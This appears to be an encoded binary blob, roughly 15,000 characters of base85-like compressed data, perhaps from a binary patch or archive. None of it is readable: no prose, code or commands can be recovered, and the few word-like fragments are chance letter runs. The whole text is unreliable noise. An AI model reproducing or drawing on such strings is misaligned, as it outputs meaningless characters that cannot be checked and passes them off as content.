z9)8pWKGo81;0Ii|@il=(+{3HQcn4Zg`>U+cJi$J(uSI+8MeVPj)T9R$2G(GqP26{! zshgkFv;{gm2W^h~{s(~XpshE4I%w-K{c9Vbq5Dn)N*%7_bKe;u8SnbLn5WR$%M!;J$pqrZZ^3uhkFNtq(T{&q>NxX} zH(#C#FdVuv-X-&Glikf}-?fLPWhdxoS;6(^uSPjP0o zuHQ~IqN77FMy|8o3gY4bb*dQGS%>keob}~e>UB(g;;geW)xUYC_=j73q;NB{2OyYbO4B_`;& zA#$j;m(oYa%tn5Ke||gt^JC?)8mNVT&Vn1VW%K>>&*8PX_NVKgUkN^-e?9}>l;nP} zoxIuQ7njpNr`Tr2*ypK(%>MbIf#b^e&ll1geFn`bd$9p+VO3qp!}5^fC=dGQAG!Yd z6;ir}UP~+eas$f*p;oXi_3HQt2jkp5rf3urX-JwO>Da zfhfC+Dq;&QODM2MUZkc|OI7f@#Dq=zP1rs;ChVtB4$6c*hjSKsvDOYHsr|~ywPJ5Y zcW9H{eZcONAB|eFs0pl6?(7 zV8kHRAs|;FXfxKqz%sU|R4}YT6}D(USyDWzKA31OWD-@r{o08}pdVq5{R$V_osUn! zPX}Qg+OKVZVYl{c1RuvY&;U%`fuG8Hoq=Casg#XoiYp%|JGtg7-zf7{u$phawzM~2 zn*izV%~$AK$A0aEX~-TaHc3+Y@4$Ygspi_RWJG1Yb_V2hFqG-ar6CnBh73IkaP!xn zewMXgd*Y|he&uE-@Rno0K7xj_6Q7z0ebb*@l|cI&{L!KP`X%bS_Uq-~CEBl+0H?;6 zHAjaOd31e92?B;@A0TC`K?jNFX~~2T#a&c+mz7)__BxdHCZo%xBI!yv7qDm8u{gPNnFN{!{z@DmHEB012MS;VbsQiN1C7bi?@>!H8ZQVfh5{G_3w>{&+#_|~9kf9}DoWm2V>wX|P2 zEBqzln6(3miHfymZCp0*xXVz1wDNzM5@0-|w!3JLt!k$<{Ko8W34>?M3b@X+;ZZzi zNvV1T#-r@ncYrR(lyW8!jCTTHwK6E=H)(ql36kQF>VcosA4%~tfFnhI&!TNONLjQH zOOFgQ#u5Q}W=@^tXo|eTp1rd^RBs=RVu~O4ZqL38>nGoyrISm0_7;3o_UuNQFzGJO zB7Jbr_N;%V=+K_E_Jj4-i01tEY(&Y$@=)4m&*H4FkL+ZP)JCDmI2^&jP*ncD!@+9p&9IX(8*d>EiZ7A`Ee` zN7k-gmIwcb3Vz3~eHiU|s$>ITgI(Knf@9bI813Y&J83LHyLK_w!t6pki2_x2?F2TJ zM{wPaqPq_5+G9v2DlJC|!HT^|`fqRDcEhmPk$oKMECe1M>z0X>G-mH|#8k?3LYdr` z^)w+0Y#Z>wWP?*~zbT+9D|aY{l5gdXgwW<#xp#guH(gid+u5T#w0F57{iD9SwRex+ zXM1;)%COi|ewL^iv3I@vEV6aJy?ZM*H2h=vS=5ED(c8LI`~;dyAJGbhdYiwDS|Tq$ zD<^RKO=a~u`B`0{1(nsC&ChzPik#qF^CgPQHG5~GLpMK5!oUzIP$4D;nvnJ!cGd10UpPotA zL4MZX02K4H%JJ8U;{t`UqMp1E@AC7rUPrbgRC!;L%e8)y57!H$XKq$=BR;g@vPR}% zDG#GvI+jFpmjSM9G&fEZAV9YUs9|rsm#tz0$4`UtVU~K{rG=d*N=k6LR0wgL2>lAzxz3Jp( zU5jUxhxJ|jf-;uLpqZMJPZTTH6jpgye4|WZL29)HV>=8nOZkPJ=#Ic zVeRs-7_jRg|LQ}G&W+xx{3{w#yU)LBAHM|~N&eMZbgkmI%)k0QyW36v)&2M;aoZ5A z8)tpWjoTLEm23Bo0q@Z6{S4(jLm<(Sy}QINLm4&ii@od5zk1DY>!#RNb7&3;V^5Jv zasK8^lQnidy9a{i=3m{7@pTxlP2oc}UOO32oZls0>*imrVXy7uwGS2N+qna-Ak4>gHis?z>gHL^mZ`lOaPHa8-66wqlcF?DtPRHm-a#{FFIn-jXl=?-3=)hgGBes_ z1Y^+NZNN8`U$upXRJzM+BleVEB}&Vg7nJ>o@#V*FTiamOy@2LAw09+b3+0iMU-f+{ zUBkty&AJNUMzqjoV4n&#V)V10ltJVwReKdE6VuEE|{*_bSfQZ+S$P0`LJ z^_RT!lg0&}_X+iZSS1-`?&z0Qf>s-&x) zcXI`bFKU) z=Gw|e#&0&xPpl{o;=DKrPfHz7J3kH$BD-LPjw`^K2UNhJA?K`{?n?n> z3-0yApS9lpx!57dtJ)}s&8=__bQrhPnm?JR*?`}C@ns%hQ+xDo?d@M7&1>J{%llw& zR}ubPdz+%=M+WbKJ`lTT|1o=8l$MhuQ4dZ4U1@K-`yoP)Q(@)V+h1`%#1Bs97&_Vy z(HkAQ_ICb$h-dL_U+nGwko^$XA~_RNX&L#!XK(*^KSVLv^}qWe7{`4Q%#k0D{_lQ> zBxoaB|Ycq-(Ww)iD&Q0UiZ%{yS3N#&tRSY=j?~5=(#(4-P;dw z+&jR?|JD5vkH6jCUVr-9JbS&Ui_cy^Bi~+!TVhsM!5+T9*KY0MPN?)xvxgZL%d>|& zia+lf^N-rY{`m8hM?HJkjXw|gLkIToSByV@2WwDHXu(+%bK}q5(4lJ&=f|I)#J7F1 zhyO$3&zGM0-}v)?MYJE&2BD{N#V*&sN=c{|(~Lul>$5W_KTd zzU`r0WA-b>pDQ-gKKM$;?EjDP=du0wWY6wX{CSG~9~FPTxclzxSug&4(YpV`@n?H& zdwcft@8sFD{jnWo_wi@3XRBe)rh4qwo*lA#dlnhTJP(Om-onP0&KYWBxLX)^jek(d z!;h}RemWk%9hFi~4jgqxPIac@XyehXvyuSC>~7L3~R~!7P!e~s^b>iyJq0l#M>^z-b&wkL6#pb@SS%g z3_%V^4}Rqo@)@&qLw$uI%&W?{qda1y#U)pVROE;IUwlw_BWxziTO_tsUFY*UwNYcSllX)$z04>N!7>Dx;rq1K(J8~5R_J|@U zsEN5R#u^?vfUk29E(AZi8%VE2wO|!?*~75p*^={cccH4r^?TqCH^3V>KLNaeqafX< zenxX`>K!e4CswC%RXa}+h0=HwUVmHVYd{|v!dS%Hw=)qnUepYl{iG=npI@Rs2q!+o z2xSi_8WBREF7ZohjxdWhVv!Jk-Wp*PRYU@BPty4w$`Fj!7D=DW$SPE`?dm;{x5Lgv+@Zd<7Im}Y~V5B>YZwQ;iaIWMq zoO7_M2#D=x;C@i#jvbE&7YVp76bNyP{oGe9#nT6{{H!+hH{$_NyOg|)1)15TC7%NE z@PnHoNP`p)c#jyFT4R?$mf|_k!V1QQF!GOZ^&XK^Y*BS3|ec8)iFGUsDIEXvo;#$g>eBz3kS{Orkr zc@^*;s>f*oJUi48i&|qRv$?+?eHvl9s#=AIRN$VBGB3uWOBu0iWvLylS???Yb%bI}!&A zrJ=GBT~ppN2Y@0V!Ny6@T8B45WkG?|R6P^3D5E3Hp6`uF4{`*w=W;y1r5im_Y~#ch z-H;Y=l8Bb%^>OHhiZWuJrljjK(9hGA8>lNQ)<9iSSHiw=lGzKwf#uMJn_V^*J=hBE zhRQDg?p9y6#x~j8nZe<)*kEA86Ios}*p7FDxFRz-0W9P2ugBRKf9-5?zt>o?ud&oo zsNxAWFMIZqO!||}T#=(HY zlv^G#(KY~{`f%V?99YgbHw_S;g=|K`U)B8DkK z2~)(rB=7kcQpkZEVDyv*07mU>0R>98b~dU#<^zw-d??R;BW!}T-w)rx1Yn8` zrONQx=F$Du1EUZDs92>3ns6?TR2m0F$u42t*k3n?U@FHMdi&e2OEwblrSeDo_8?AI z#yyU4Xwbg6t+~W!6gD19qp)@kwr-UvW00r_HRPLtD`vHK5eBu$Wsi?Q$)jaB8tt>oRhi4x?a7~YWDI^5%S_L?J-H`zW+ct~WyMLT#kG_h9gA>7t?{&V?!A<_+Syo( zPo4lF#D&A0H<-Hh4srlF^+QQE<7QgihAMVqVtbB_FbYf_U1G7Dk7-BQ=XGA;mf({9>2vO+yGG7mN{72p-}16DSBY-q%*?lp35TxkDl~F zZMr5^PRj8_~TKI$`NS8UwA4Thjzf~M1u(&+D9Q+d>_M< z55lOWI{=$N2lJ~_M6?@Lg`(3Ki3+kXsbA0I! zt)Y|rS22n_`1L1-9vlU=!zhc&6P*6x3gO8R_-86q=^~0E{8QR+@UojFTQ60Lr+gin zY}ks)>0aeVk0{m$4k^(RgD76+ARcq0C7H^vr+e+cu^4{_9DY}ELFG#8`SYN9dHU2r zQnb1x0*V{!YYhvgp7d%849%$sIt6S{pEysi4atx<%&W&E{??7bKl%jxQ#}R$%$==X z&zXzAxZ-*j-p!^8)YH<)cy0O4Lj3b#p;oboE}mBLC~YUadYkXp^Pg4t_*>dP_`QNJ zmgB{^xK=T$0heFT!8O_Q>d+pm2QRv&Tb*?!6F3vg%5*u06R+F!KF^wILXE8x^edIW zYOIbJTO-E&ek{>_J#6!FIJ&GzwAoVLH$SVfY^~80y9`OfRB%QU#7Yj^k5#SXS^FC1 zL*HbrrB=((u3D=bn|&8(x%$%-Y{5Jv(TtI$nOUwMryQP1XW>4+*SNz*G-}Pduol{y znSnw|KZVVjayU>m<)xEql-9$h*NJG$(UW44%_5~>m(-`pFR)-Rhw~L|SH8$RkhKqB zE0+Tms>1tVt=t-*y41MWO4PRJ=SeqyWqvND`oje7@bg+KB4d6F|D*?RLnbji)fITk z=jXqqJK$&TKJobZGR4mW-w=L|+#&qD^IV6YgZcd2oca>o5YOP?R{SKZQrhr$&RX?% zwx#|yw5q@Lv{@bYM6oyr^J$HCLqipRXg4gJAm7Ku`LbS@2jN;i$H%Bb^QPc$jaD(M z1f<}H*?sW>%u9IiUIJwJdw&7G;)a3I)zf-0#M4lL6Wat@``WBm3O^_3l-n;xXB5T~j_2sCJ( zj^O&BW8HoKcyZ|Bf-?5Ep{=fjIkoDXVwRM5)#w|xmvx#+U^ifHU?8;`)|Zz2D*=^8 zr6|H|QnWayC=E3&$(@XeG)GrN!`VJYSh5<`g^JiQXlxi_MyraX`OBMAtqvjvg|y@i zPymBQYRRkdm$ehtv4bw0j5vC)i{D3@(t<|)ilP~MVar)<8;PlUU~2KPg2W8~U0SRo z6seohtCA;3n2_SRUAusFG8_MMu4RGW7Ey@L)VTJw**O8)+PC=C})qK2+1#qqr-;A-_6 zg=U#6jMO~R&zQAP{s?x>6d#}-@NWn^*py6PAxuoo@V&jM8cB;TKUy7>Ds4KxQs;lwSi;Ih7pFTNx@l0^CBc4<+kUWvmBTC3-TnTgrCg3^~ zb)6at76y;HhH-A+n4KXz%wRorHcazHWFWOvn2O7gX4T6dXJmX(BjeF7X9Gq+$^vFu zKo64T9MDUO>?2VCFNDrc-wMGvsC2DV6Rac1f+0IRDbRz)6KE7)PNR5sJ*bSo4UTbK zKUY1+X&B@Ejbogl!`e`s@LR$4iqQMQk)<+HNaB19N%aLvy6kJ1M95tJ0$S^ z4jM4Uq#9-XvsTC-2Mv613H%!FCx#EB`w4t^dH5#|fvvK_7F?VQD))FA;Nt8!hs+hv z7CHb!q31mQD6%DQ*5!$6N_%zncwM`-5i}t! z%mPlS@4zL|4z~EgQg2q%NpV@+52wTFx$K-vSs;p*#5JAjtO=V)V3*HH;1V^OQvYc9 z;1U>&ei8bvG3S%hxj8>MjIcPQ(+dmj(+Mr(>B8!5^CcU=tonqWs&EL2T7Qdrd zfc@Bdh-FTMWN~Qi%HVQkv~`{{DvTmH+S7==_rmdyo{9bv%lc+3L(%Ip7&yhLYX7kK zS`EwBK?fowShFrrEmM~INh`Ce{EhKJHD1nu~O0uIa3tGRrqI$sk2 zy65{8{pAXT34Rdxpg;h>r!E2%IfATmDuO-19prUwL9no1aG%(?J+Y#wK3HfUO@HdE z2}Ic*1>yzVq3K9MTtQs#hnNoz(jG!~&R%ilq{`%C$U&Pz)T31xwW}#es~c6fQ~cfX z!9f%h#mVehDF#Oxz@l-zu&dQ?nlO9v_F|ZFGH0giu1vIsvdwv|zYlK|5bw?&NYZFTNcr*w=%XGhhL^OSGo9~4X*8IHrn)=b<|>5-rM??%xl zv!=)&M@sqNkw5te<~RF%g0{D5r1OO9p=9=AX^c99Ey+w$t@_seee*%}ot;Tu0qt`b zFkuxM!NXlu2P^5%fg(7JEg;J1q#YyKa_lM*sV$!bFT*2fW4@j zvrebN7ZcvWPNU+t6@Gr>gX&jo%fEq|ju0yRn3YW%OW^OEjpG0lE6R-d)RfaVZD?z3 z>)wL1piHSi4r>{<4;<#rV!~1`hk28L$V)zl9lP1XT#FjPTK@?6;9zc-;CQc?8?+b9 z6~X<=8f}!+jjCVE-!C6r%)w}zfxdHC3dp&h@QC<5f-5j{#BWCj;`fgrrx=%7I&8IB z0om#Yk`E4Y-V!wK6*)cjB5m)VCLPLLqxiVW&&PaF9cHENYV@3g8j&{FD~T5u+abdC z)ugRtkJ9$ZM;=-l6k2Bc(ZUA@Ezbx7_kxzfYr5`*XIf76n^(lnJk{?)f4_Wic?Ray zx#&9wF+6twFCbzx;ZNBY&^leSH;N4aXi5Xj8UyM$Dgow{pKko3Aft;p|L>^c_dxdM zV#0lQz%I0>u=3tCd#7vmW-i@Y30Pfwl?c6D;GH$W4>lhhuz}BApn4uYJ;2I#*&Bo@ z_Cjiz$32B4YRWTz)I9!fKayIhdNu7dD9C2}A>)HfYQ$x(VBgBRQ4o%w-aTGq1dHtO zzCi_bzelJ>wu5SpV!*k62IPYes^>q!Xa{O|(~lTWLU# zpX_AZ(tuVGy~~jS+Zs#{M+U4m^IRCvFdk^WTaTa#mtbx%G8-{VOJeNs7DMbCYw%6t zfqv7iAf}>Nj`8ml?zFq0UH1PTib?uyhy726zpVQH7W)3aw7g%o%OUBSDyP59Pj&y| z64G%CMk5_}+i5(#BTnDjzkbNYL%HkPJ!E7|1aV{@GJ>Vm2IOYrs^`IXcSX83l05U{ z#ur4nz%na0ZXBn3JFGU;x z`6P4ke|^|^L&t5axL?KUdtM>B9#xNong&D}nYM-`JGm%(v#}(0t$V%45_jqD%wW}; z=*c;#)l!VWs3nWF5#xiLr8~q+xzLw+p6m18`r9C9{cQSI{QWpO4hZp?uPt!gljTS@EHk8^%#MHtk>EGyu~85j3@I%4w&G8 zT^E7_KCjFjjiem!s#E1^5y!dIj#hp%CI(A5(}Sl_$5|6sW-v9 zQ+F0)_L4w1GM(V+%fZ<&%<5P}vA7>>93o|mNUgjhp&sW41Rul>Rmb|YeZxi7a z36)56Dux${sY%YAjQ~rVwWOvD($E!f)fh_>l8OwOSc<(W^*FD2*79K4n_B8FAS-CR zSyQzI*AwD50CWaiiL{zFf{E2wcjQ==O}zmDs7*)90m^&@3U5O~y~@==96(cqT3o-y znrH?H;+p8&_{$^} z-l{3vNP0#wd_j(rFr=k^MdVby9^>uP>}aRJa1IErxtgFtD}3ZOOQ7L zCB@OynAatB8Mc7cXGx?x5_og6jeZIAQ41k0*k`h2Mb1a|=osY8ll^NAb3AFoJc|Lba5RXf>8S6a__3d-BwIP$(e~o(HV+f-ppjanGv#cX;YqdgqRJBihN17gqvp&K)o%H#H0m zI6Ru=#^wUf>oyba-ElfJVUj|&O&5oPm6s7z_406B{PDU}Z__|j4NSzmI#-QV2XNbJ z04;ckOgxyannnFqtibul>+XM1_lH7{$N`D4xg%O=l~%JRE0sax2`v&i<)j4pemV zdF$*+06d%Di)C~BVU+0r^APC*`y+*k0(1nA(wj%<7-T!S3G73NP{=7E`3kv(cA^*Z z+5=e8^T6RwgKMOAA%>F>$3x~uH5Lp`p6uVdJ;|!+1rO?XwQi4Buwxc!p z3WuR)y4E5#mbIX8HS2Iy|IY_-0v;RzlUkaThSBDhE{&wi*VdYY%4PFPe1B;5^zduL ziD^1PsY4sc*@CUMJasgFqn$37ZUK~u#?oMXS{cfO=0y*Rq_3N|xC{egWa++#a2Pf3Q52i;@qhM$ydR(_y1Nm{Rh)Ow06XR66f}oVSe}~1mqv)D(z51M)G5-O zDt8Mv%hAuQw>)(WU!r;y{z7G`KWVlbA5>hV%?uPHYiU6dGIkEwj*YQMSevdFu0XiksEXzi>$fa$ym+oj}fO>%Rr-sXJZ z4C&$*$O}n+NmaB5-~= zC>H|dZnVPbZ(~E(n9UQh`rGUFWyJ;YGYhojc{DuhTCo=LU?a|bIMkg=aC(6G=oCO< z-SulZ83fUkI;*C>yhPYJT?Y>6RsJ+N01NH~31P27LYNIYXbFqJiHnGUX0yWJlW4RJ zTay_7*->+gpliJED=?}DJgz-8rH@@{+)Wv3;}PysLdYN+JpUR@t?pjAn`cmCKJDzVmv2jqsVn zFGt^ZPQz~niPD~h*=`Nd5ca(omulCG6KjbvWHs5&k-Q&c0lU$IwEqWXeH{IbY^j;5 zlMrCW+r7E#%4UAY5b2`Nq3B_~BZohEb&=RwW1ShLF znMHt5TfvEQ7obKFs?7XU#ogU!dp^d<^K+G$UnEH5{ZCTQz825%MKVptz7e0gtaG$y zd@6P!rOpPia`ZtQ3a$#-@a;8QKfsZxa`=rX?1j29+B9V4qU^Ik7V|o-(LOawde1y;vRjig8Ds|jx^)_CNW%mY(ym{NhcOR5* z0Qj-H6;slWDpn@KKV71-kEkBRq==m=hLx859okVAOQF;9 z9K3P-J+D1s>@1T>o8NZYBu$;hE=Ec#y?b)4Sw%uFbCYP##u9p`qQ?(EFHx_Q2(r$@BuybCSR zqHDuiDpyu+wN7uq`BrD4JVG4KEmM~2emF)!k2SA5mh+vfJ04%M$(L~rBt_#De8>_AFy^ue;O6JKq2zu>esa?m~ z53AZ^Sey7pPh=YF`1}?e>e&`@&m4Taa;w|xcF0Sm4@I@3DYcen{}kUG`^n)mUKe4@ z+c*$h@YEdqWBsll7Q2k6o2y}N0qf~5&tF_z5N-~Y@DWBGq^|^zrF=vT6;u)-2rdtm zu~<3Z>*;wd{M;NO<@mSC`CIM$)t$d}&fhWo8*C0;?mS;9&&yM@`PcfBwF~5sez4;b zAx+&}$PO&~(yb7SLFIPirzBWtp)v{#M&jdD{j?-+{#AP2VC=)O6XYy}%GJ1aYT?Ov zEByV3yOqHJRSvwj*`<=(*QNL0U~*K!Z8A~gCwRf#$M=g?@JO=69t)CSG9XllI3N~sH+e=m%L3}syHFkJ z7rCW|Ku7ya-H%d4iL9(FrAwm^DX*LCgItW+4#xc{N3~4`3L;n+6(v5-@WoZ z_`63*>96JQUiLb1L1yVFthU*Yc_@#p_EfA{_Sa{b-Or~L2vyU!vf z5ASEs{_g1uJMee=$jh(q?}i0}|119PFV3Te{5SA-Z)cv+KKQ#opTE!k?t}LzZQp^v z+ke5oqrbarzyAe)_j^D4ufK~m?*F&_-Ir_s>+kwwdE)Orh2uN^WBuJF=lt{i-Rqq; z_ub#^0TRHP-Lt!Bzd*{_b}s(zI;v?^XaQd-8XG_*DMr z{Qhoc#NPegGxA&b-}ZMG^vUygcaHd%`@5Z1@5bNVUi(k;cNZs>!I03R6s7(t{_euQ@OMWZuqS`_$6Y$`cMnGu_`Am*u}}W) zw}2D+yT{>gj!&!n-DwDiTO-h7&bQt8yIkBwWMCn#ao3HPke^tETF7p{idSg%Jhm?* zAG{(n-K+E!Bng_aGCi>b>!PC;${Cun&M+#Bd~#!b@Iq@DH}@i0$!NLcVyvCcHAl@2 z8{7QJR!gyNJV)>TlC|z^0yuRcI&VY{ne0WkQK!**5Xr5ihMu0nRkwNnQ(O=mmNOQW z0;LkPTG6vVM@!;V!7NC9HX}B{pqz?J_nQ8Q7{<}V5${3F&(N_HH0_rN3|TX8-qyzO zbxlFR6DZG^M_p^?En@m__>==d^gwGxXP1ymGdM+fgVhbknmX~-Y&=0No`<{}N+(3* z^hP&pxbw?IsvPki=gD@0VB}R|4ZYm~j@@dQYRSVLbMq`uLZ0PE$f87a6+ZnBUSf+l zl~Pi)VsQlBN<+zah*>T57YSKi)rh%f3PvbI!!CiH+}Fb;ZjwzBeK>w0U&Yo_Lv2avP^kg3M!E?8*hnLfPJk)D7XWyM2pa13v$-A6 z*+kUsDeD2ujhQ&><t)WGIRUDpt&N54k0@#>&(a=f+hFbg^FrTpMS}`aZPuHt z!MrJU(0mN8z`pI9Tb;P;D81?LXX(bf(XQ4=G}T}of`7Bi9Zvl-aP)4HH6_1SHzpV3 zMcjKfyXAgQ4=>62p8sr2&i#(-3(#b9(LA=eG}}AyC-9@bKCl}WCYLIBB=Sdu>*iT{ zpmpLWF^Gbjr4$11;oL;5E;-`%9VXY(Dgb z$WDV|`vQs$jl?WHv8(gsux_4>BeY;1MZ04epfFZeV;rv=LxGE#gcE7-CE&ktOTG9Y zM6Sko&x%3h!5)@w4$QnL`Xn8*Dpy;~ztxS-6d`^!hL&W0)efKb)xxZC_MrHqHJ5%y z?z3-<3jg`^G)ES56oF4B7A_s78*6~dnBdeX|-!q zP3(?&*Sh%_Nhb60n>oCgkp?b^3}51d#^n#Q_d=+g0yc9XR>P2_g5#6|o3)=bE|u}& zjHy^xoXy{DDVDESNB6hKZ+qL}|D4ub`n4;+b>|+-8=Em^lCQhbo1{WJBBzpp6xg3YZ+oFfkhSiWX#J zab}GSJVi@xb4E?bF#t^Ab1|jQv!24D3>JPdbm2iplfkJW@#;W z_mFeagMJqVPiv_kqqU$}XmrCwz7PtB2i*6nEnGGt-T$d`(nY`16Wa@8qs>DNoHV`@ zXbJ4hK}#-@zXv2&`H&2Q3(Cra@cB=PCx8nOWsye~NU;v{7kr?yyU)=h5o1Zjcmeh1 zSwB;C=GjOgXjAy@O#J?Fhl^h#7wCLhFWhp0=m)4_6X(%3>lLp?4`U`w&q%t*k0a@# zKkA9L!q_*0=0QQDBvP?a>Eh|YK!NCC%oo^IkA9o2P1_04P%IoQuF1pF$Ff!^WU;9TyCk7a_Ua zidKdV9QVn)6%1};G%iHWxpAW2JXBz59x8x<0>wfBOe+nrp$lnpUbuy$xu7`nOjZ|> zf4%;BGmzV}>h*LzJ+$Og?N*=wrxzcm9SRXJ`s1|G&UqaMwS$n$uJFgxk(RJiYtttV z{v7BCGLYH1naEPu_VjzVocVX{j?caM-KQ%&{1RV|+c0$pl`AShzrg$1W{(H=yY`RpW4?XX?s+su-VL*6gPJeR{O5D= z{ZQR#g#~@P&N=Q|x$W=myVPYp!N1d%?>WzY{L203w?913KFxdf><`DDq&xq_3vn(S(EF8Cx3}czkpkXBU0osI{~|o#_K|<>5!oA8V}|Svkkt zfg2JaFzLEN&^=axJs?Ow2nW7|-Yjety@{GU1 z!n$tT=Wy^(^k4~oJ9ybRXflAjY?57zW4)n0TE)A#4i|YWa#$2I(F&`NM!&jt1!fpg z@jG}XZIj)}ngZ(px?If``%4d}MT{%5BX)a%zBIc571n!O1q_=>fNGrKrjO48&VJDw zVUEl3kMOxTjyg{Mi0x-x@a5-i*0+0XZL`Aol{)}?0bZ#ZORY!v8IIHHJK#8Z`oa1$ zEa`C$e?T@Ib*+?>kG|4MVj32w;GF<3@+`76506TJD%tWsL%srQCOJYk4>ogpuvy&+ z_W(e1SwB1T3l1_#TsrM_P=2ge{(J4q=gU+6vm@U%4PW|(;^|MYv;u86-vKUo9&;*h zj59t*z$Ri|O{)t7j7h~qnrr41DF#{VSODXe2E}qm zk`p!*zDF`-Bu}JsW~HLD@OS2~Ir#Xx{d=8*UhVq-{=W3@n_tFKu>W73U(WjAZO92` zcuq2qDCGQTSJ_#5zUCi^N2n}#4bcUp0{;yLnQy2s;eNDn*{JzB3=LIn2zv<4B?B~Pt0TWQWLRB{SC9vdO8H^hwWoOvvZpJyV*a%;ZKCsO5}ObYz4 zSp1+c^f}19c{`|^I0SCLvJZIi!{lPzt5UhzeinK-JDtjRxo`z4%J>ACXUwv0_Z@SN zV#WP*V-*^?4TV5;vQ*|whoxqtQ_|)H+?17VK==zCIN5a$o8&Xu>1eNGCR6%`D7At3`W zru{e?$<>EJW3z&HE8ul36fn`~Vk?cZo_2Ei4@w)pBJi@C(Tzc+jz{O(ZwRqqJl}-f zKM4+GPV~-|XB=CJ!y1g`=%u2`?t&)0@qi%n#YA=ep?31%TtzCHhQRS{JSfSA0T)<$Sugy(57o(SyV3 z{`bPgy)8`V^=2C0^m-4V#~T|Pg#LgB4`+nY0?5T&M=mhyxpF~q2K+FZ>v^BoZ*k6r zoL;lR>J4)w(c-Ti;`pc+)#?w`J~&7?6+9TI-&SIKFEM#Y{Wq z**U!GuE4HPa`M|&$jR6ee}Go_4dgV>1RX;u8bhZa-{u#~ugX3?_8UJQAehv#9U`4GqyeS-5J@FWZS36Wj zeZcJF?5)^}5`o2(9?)BL7n1I*JJFY7p8l%;^nk4&gL!Tu44(X=f82ltBA5qLbZ}g~ z@ops0gxiDBdDBG1JwO>*68dD~aiUDe*+?8g%b1HPYH73y3oJeOg?^n1ti!xcpTZ;G z517tQ3-Mmr_b{osuuwoIMPJNVQ1nO0-emzqh`tab%Q}o*nV#pM#&f0H^l@zZcPHeG zN9HSOR(U2gMAGGF>S;tA;aZQyTnZ~^)5H^KEgXnd-GySeoQ4>DZv;|kvCJWS%36_l z4d*}DdpJ02gH`{&0F-%I*(27N*Ezj)&Md>T^0$8l;TN+YllJOmWi5j`st|Ios^ApG8(idqctCW1;_4k z2-@5B+CH@RCm1FG@Qn}A-tjr@`QSj@T*kz>FNejeK{%|3Pz$|UfA8uywj6o&)%WmG z<5axfsW=}MU3~b;=l6GjQ|%0=+O7NA-^*fAqzCWHC_qEL{xEBbLC9z}eu*%`dd5_V zrLt8M%XHYj`V&Am|I_pnVd@2zOgs`48fV`^lPEplAvT*Hy!d1afYq%p#4tVhCwOVS zj;x`qdR6kkUg&s;>v|bldv@YEdd0JP;3e1`>zSR=OE-Im;dQ6`-_DyOW2IbeB7Zt@ zdCv%hnZU)Br`M6f&R4RIu?|p80stbX#{n+u2gkeeNdEBRorw?o<}a0DeehgaAG`r^ z{LjSQKOJ`*N53n<{|I*VhY{lk+{?8j_dLlyYTY=aR+ckxW4Lh(H(!HijSFCz$~uK_ z5g2KwzuqS8XWH*veap=2A7*nYYX21{o2F<1sD;ZW&A#S zeVb>mFJ1#KO3+IGz_HRX9nw-8XDCw^}J}UaHWvWYRGa^LXfzaC*=^Af45D zz3AXb#U>eJsu9N)u6HM#tb*|1Q7(P+GB&504y?eMNd+_q6oqVcWX^ywR6W0}G}+2|m!5!O`R$UKE{gjG+OKW9N{hp)@` zimy9g*)6_!l88GW(7td;ivYtZdcrQG^ChuPoCU0*oY`|aID~5xfi1G!*B1K_F#@Q- zR$mC-iLaoMA1Ee9${VBXKmpBi#6u)A65ie9;>?kP5A3mI&f>>r|Jl|Jlt7^1Xx^cU z%g86bMPfUk<>;mkf_zRfA2iVo#hf_JA6`H3`(GIAReY8=}Gbw!^^wm)>OK(NB%<#=Y{x ztuO6%e5Ymk!G0f;s1pbC#^;-#gnU>UnRI>xD{@p(FR9_i4$hRj@iRri=qVWDgU%2e zD7_%>+d@@uM4W9rd#z)FXN7?9Fj%y2^t^NRZpZ8Ae+C+8M6^sQ1Gi^-kguWV@gk}P z`cIE;@xiC$1gxLc@51V$A98dKh&hk~L)<6@LGA}r9IF^2(_Q+>aQJVtn9xeR zpch8z6`w}T?|@`tp`kl=>hySsZdNiqCOv4nwFn5<=U(aAh@JN4TaKM}>oKs?RvsbF zO%A>D;Q4_7gCsiRncBdziBt88rF!5~7>{q(RxGOxJO@AWEi|prB8uS~aQ3jeF#~ob z0G)w~)^a4MM=Mc@{HlCbsM|D%I5I%~xtF@a6%Zo&D*=Ye7jsf*@HK2LdZ{TCctU zI08r)Snq@55L}%aF?Mm;$9fNd?h9F|O?>l)N8p_s90K3p2bi(G*)Cp~N8bwpWi3$R zvYUYB;0Nq>21t0DZoFWfyN_@QlY7wI;6kGjno9spp1w2k^Otj<+u>KdR(dlL6VX!h zOzXDiflw#c2Oc!BiX0&~pUUWbPP+eb)~YvP)aJOjTo?$7@|Jb8GAsh*7uY=UBv^`| z3mx+|xr_rdc8+d`=T-V9Jg@Jz0*LhB9{ha~ep9r?0NP+(^b+GI?^_36>rej9>K7)s zz(*QIOBjQLF&r_!i;=;0&89Y}G&LjkdYEhYR;S$I1cnx4HcrQ0cNSkaSmzPicH`}v z9dAE197ICYj67~Bz^{D+;Qw@+3?<0lCVu;dVy;$08Tx(hVQ}mN2Yzo3l`#PRYw-Vg z{C`%&Jk>XpbJEdc3!Jn&>&(|X0#lJiux@bALEbnllH~(uL1%(oHqrrEroRsOpJg^n zdT@-tpTck7Se{y?#xnVuy!{vzP?R8t3aK~k?BvEaKp4O8y0#KF|8*@`OYbrHEKC9s z!;%Eka~SA(q6liA?pbqDZ(36D5Z2;w?jlKyjfEk)r6Rg&-5Hd_YO1xU1!Hyd!&^|h zglG1`S;JW0vqnCHp_n1e<^z%Gm13)z`>pRmuX^?cN2llJFWP-&D)j63f7$rncyUkT zyJ2NV<1?U`+mDZt8m7E<1tuDJnkqeHSO5RZ#<%l@J&o_K6&;Q5VJOwFG`@WL7XSOu zcjxna9Dj3%9%ktLvQ zTyZm(1E;d0hgK4tco9y=-Y5+{r_uIHbTUpXc%u?FVOGEw-Ko_YgMZ8!u+SY^5D| zA+J2z>yy|1b-wm-ME+N5f8F!#+kXv1_rqW7YyXEY=at_J{6FlVeIu{^lYQ+U_7&Sd z%-=pj*NI(~+DvZ3OYG`<(^2VRuO?cHwVA)c3miThxe*fN9X>n0!T4mMB!j)QQGdK( zYg@rBjKro^#3tdfpkSAL!{ed)^rj<=3p(LbbR4bnF(TsG?uPwiSNMWSd4JvF#Uwpj|cD~ z6N5_u)3n8n!N;F}?z!hOhZBB$tua=!0M=r)$5!c09~=|da!cQI&jq?MvNYYlPFq~4 zTD<8cWAnDPA#CvvZ8kPLcv_4$+wi2P&qFM1G++o8ruCNi_U@Ap#Il%5yR@gEP~}$S zdV2mjbQW%C9bSs#%A%(+nk|(V_al!cc1?($lGt@q>_F>SR8++-i}tK+q>ZEO4?%wo 